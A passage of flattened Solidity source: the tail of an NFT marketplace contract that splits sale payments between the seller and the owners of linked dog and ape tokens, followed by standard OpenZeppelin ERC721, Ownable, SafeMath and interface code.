/*
* @dev Checks that the token owner or the token ID is approved for the Market
* @param _tokenId uint256 ID of the token
*/
modifier ownerMustHaveMarketplaceApproved(uint256 _tokenId) {
address owner = ownerOf(_tokenId);
address marketplace = address(this);
require(
isApprovedForAll(owner, marketplace) ||
getApproved(_tokenId) == marketplace,
"owner must have approved marketplace"
);
_;
}
/*
* @dev Checks that the token is owned by the sender
* @param _tokenId uint256 ID of the token
*/
modifier senderMustBeTokenOwner(uint256 _tokenId) {
address tokenOwner = ownerOf(_tokenId);
require(
tokenOwner == msg.sender,
"sender must be the token owner"
);
_;
}
/*
* @dev Checks that the token is owned by the same person who set the sale price.
* @param _tokenId address of the contract storing the token.
*/
function _priceSetterStillOwnsTheDog(uint256 _tokenId)
internal view returns (bool)
{
return ownerOf(_tokenId) == priceSetters[_tokenId];
}
/*
* @dev Set the token for sale
* @param _tokenId uint256 ID of the token
* @param _amount uint256 wei value that the item is for sale
*/
function setWeiSalePrice(uint256 _tokenId, uint256 _amount)
public
ownerMustHaveMarketplaceApproved(_tokenId)
senderMustBeTokenOwner(_tokenId)
{
tokenPrices[_tokenId] = _amount;
priceSetters[_tokenId] = msg.sender;
}
/*
* @dev Purchases the token if it is for sale.
* @param _tokenId uint256 ID of the token.
*/
function buy(uint256 _tokenId)
public payable
ownerMustHaveMarketplaceApproved(_tokenId)
{
// Check that the person who set the price still owns the ape.
require(
_priceSetterStillOwnsTheDog(_tokenId),
"Current token owner must be the person to have the latest price."
);
// Check that token is for sale.
uint256 tokenPrice = tokenPrices[_tokenId];
require(tokenPrice > 0, "Tokens priced at 0 are not for sale.");
// Check that the correct ether was sent.
require(
tokenPrice == msg.value,
"Must purchase the token for the correct price"
);
address tokenOwner = ownerOf(_tokenId);
// Payout all parties.
_payout(tokenPrice, payable(tokenOwner), _tokenId);
// Transfer token.
_transfer(tokenOwner, msg.sender, _tokenId);
// Wipe the token price.
_resetTokenPrice(_tokenId);
emit Sold(msg.sender, tokenOwner, tokenPrice, _tokenId);
}
/* @dev Internal function to set token price to 0 for a give contract.
* @param _tokenId uint256 id of the token.
*/
function _resetTokenPrice(uint256 _tokenId)
internal
{
tokenPrices[_tokenId] = 0;
priceSetters[_tokenId] = address(0);
}
/* @dev Internal function to retrieve the invertedApe Owner if it exists
* @param _tokenId uint256 ID of the inverted ape token.
*/
function iapeAddress(uint _tokenId) internal returns (address apeOwner) {
ERC721 iape = ERC721(IAPE_ADDRESS);
try iape.ownerOf(_tokenId) returns (address a) {
return a;
} catch Error(string memory) {
return address(0);
}
}
/* @dev Internal function to pay the seller and yacht ape owner.
* @param _amount uint256 value to be split.
* @param _seller address seller of the token.
* @param _tokenId uint256 ID of the token.
*/
function _payout(uint256 _amount, address payable _seller, uint256 _tokenId)
private
{
ERC721 bakc = ERC721(BAKC_ADDRESS);
address payable bakcDogOwner = payable(bakc.ownerOf(_tokenId));
address payable invertedApeOwner = payable(iapeAddress(_tokenId));
uint256 invertedApePayment = 0;
if (invertedApeOwner != address(0)) {
invertedApePayment = _calcProportion(1, _amount); // 1%
}
uint256 bakcDogOwnerPayment = _calcProportion(1, _amount); // 1%
uint256 sellerPayment = _amount - bakcDogOwnerPayment - invertedApePayment;
if (invertedApePayment > 0) {
invertedApeOwner.transfer(invertedApePayment);
}
if (bakcDogOwnerPayment > 0) {
bakcDogOwner.transfer(bakcDogOwnerPayment);
}
if (sellerPayment > 0) {
_seller.transfer(sellerPayment);
}
}
/*
* @dev Internal function calculate proportion of a fee for a given amount.
* _amount * fee / 100
* @param _amount uint256 value to be split.
*/
function _calcProportion(uint256 fee, uint256 _amount)
internal pure returns (uint256)
{
return _amount.mul(fee).div(100);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
